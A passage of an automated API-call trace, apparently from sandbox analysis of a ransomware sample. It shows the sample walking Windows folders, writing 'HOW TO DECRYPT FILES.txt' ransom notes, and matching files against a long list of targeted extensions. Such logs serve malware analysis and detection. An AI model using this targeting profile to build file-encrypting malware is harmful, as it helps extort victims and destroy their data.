(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.m4a") returned 0 [0111.080] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\afcd585a869a8fe93f7113457fdafe46\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", pszSpec="*.csv") returned 0 [0111.080] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d1f720, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x72d1f720, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x72d1f720, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xe9800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0111.081] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0111.081] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73e153e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b5d54bbd6c92e64e7c9a04862f0bd184", cAlternateFileName="B5D54B~1")) returned 1 [0111.081] lstrcmpA (lpString1=".", lpString2="b5d54bbd6c92e64e7c9a04862f0bd184") returned -1 [0111.081] lstrcmpA (lpString1="..", lpString2="b5d54bbd6c92e64e7c9a04862f0bd184") returned -1 [0111.081] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\*.*") returned="*.*" [0111.081] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\", lpString2="b5d54bbd6c92e64e7c9a04862f0bd184" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184" [0111.081] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73e153e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0111.082] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0111.082] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73e153e0, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x73e153e0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73e153e0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0111.082] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0111.082] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0111.082] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73def280, ftCreationTime.dwHighDateTime=0x1d305ec, ftLastAccessTime.dwLowDateTime=0x73def280, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x73def280, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0xbcc00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0111.082] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0111.082] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned -1 [0111.082] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned -1 [0111.082] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned -1 [0111.082] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\*.*") returned="*.*" [0111.082] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\" [0111.082] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\") returned="" [0111.082] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\HOW TO DECRYPT FILES.txt" [0111.083] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\how to decrypt files.txt")) returned 0xffffffff [0111.083] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0111.087] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0111.089] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0111.089] CloseHandle (hObject=0x90) returned 1 [0111.089] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\", lpString2="Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll" [0111.089] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0111.089] lstrlenA (lpString="*.ems") returned 5 [0111.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.db") returned 0 [0111.090] lstrlenA (lpString="*.db") returned 4 [0111.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0111.090] lstrlenA (lpString="*.dbf") returned 5 [0111.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0111.090] lstrlenA (lpString="*.myox") returned 6 [0111.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0111.090] lstrlenA (lpString="*.myo") returned 5 [0111.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0111.090] lstrlenA (lpString="*.qbw") returned 5 [0111.090] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0111.090] lstrlenA (lpString="*.qbb") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0111.091] lstrlenA (lpString="*.qbm") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0111.091] lstrlenA (lpString="*.qbo") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0111.091] lstrlenA (lpString="*.qbx") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0111.091] lstrlenA (lpString="*.qba") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0111.091] lstrlenA (lpString="*.qby") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0111.091] lstrlenA (lpString="*.qbj") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0111.091] lstrlenA (lpString="*.ofx") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0111.091] lstrlenA (lpString="*.qif") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0111.091] lstrlenA (lpString="*.mye") returned 5 [0111.091] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0111.092] lstrlenA (lpString="*.mbox") returned 6 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.092] lstrlenA (lpString="*.eml") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0111.092] lstrlenA (lpString="*.pst") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0111.092] lstrlenA (lpString="*.ost") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0111.092] lstrlenA (lpString="*.idx") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0111.092] lstrlenA (lpString="*.dbx") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0111.092] lstrlenA (lpString="*.sql") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0111.092] lstrlenA (lpString="*.mdb") returned 5 [0111.092] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0111.092] lstrlenA (lpString="*.fdb") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0111.093] lstrlenA (lpString="*.wab") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0111.093] lstrlenA (lpString="*.dat") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0111.093] lstrlenA (lpString="*.txt") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0111.093] lstrlenA (lpString="*.jpeg") returned 6 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0111.093] lstrlenA (lpString="*.jpg") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.png") returned 0 [0111.093] lstrlenA (lpString="*.png") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.php") returned 0 [0111.093] lstrlenA (lpString="*.php") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0111.093] lstrlenA (lpString="*.cs") returned 4 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0111.093] lstrlenA (lpString="*.cpp") returned 5 [0111.093] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0111.093] lstrlenA (lpString="*.rar") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0111.094] lstrlenA (lpString="*.zip") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.html") returned 0 [0111.094] lstrlenA (lpString="*.html") returned 6 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0111.094] lstrlenA (lpString="*.htm") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0111.094] lstrlenA (lpString="*.xlsx") returned 6 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0111.094] lstrlenA (lpString="*.xls") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0111.094] lstrlenA (lpString="*.mp4") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0111.094] lstrlenA (lpString="*.ppt") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0111.094] lstrlenA (lpString="*.pptx") returned 6 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0111.094] lstrlenA (lpString="*.doc") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0111.094] lstrlenA (lpString="*.dot") returned 5 [0111.094] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0111.095] lstrlenA (lpString="*.docx") returned 6 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0111.095] lstrlenA (lpString="*.7z") returned 4 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0111.095] lstrlenA (lpString="*.tar") returned 5 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0111.095] lstrlenA (lpString="*.bz2") returned 5 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0111.095] lstrlenA (lpString="*.gz") returned 4 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0111.095] lstrlenA (lpString="*.mkv") returned 5 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0111.095] lstrlenA (lpString="*.eml") returned 5 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0111.095] lstrlenA (lpString="*.msg") returned 5 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0111.095] lstrlenA (lpString="*.edb") returned 5 [0111.095] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0111.095] lstrlenA (lpString="*.accdb") returned 7 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0111.096] lstrlenA (lpString="*.odb") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.java") returned 0 [0111.096] lstrlenA (lpString="*.java") returned 6 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0111.096] lstrlenA (lpString="*.asm") returned 5 [0111.096] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\b5d54bbd6c92e64e7c9a04862f0bd184\\Microsoft.VisualStudio.Tools.Office.Runtime.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0111.096] 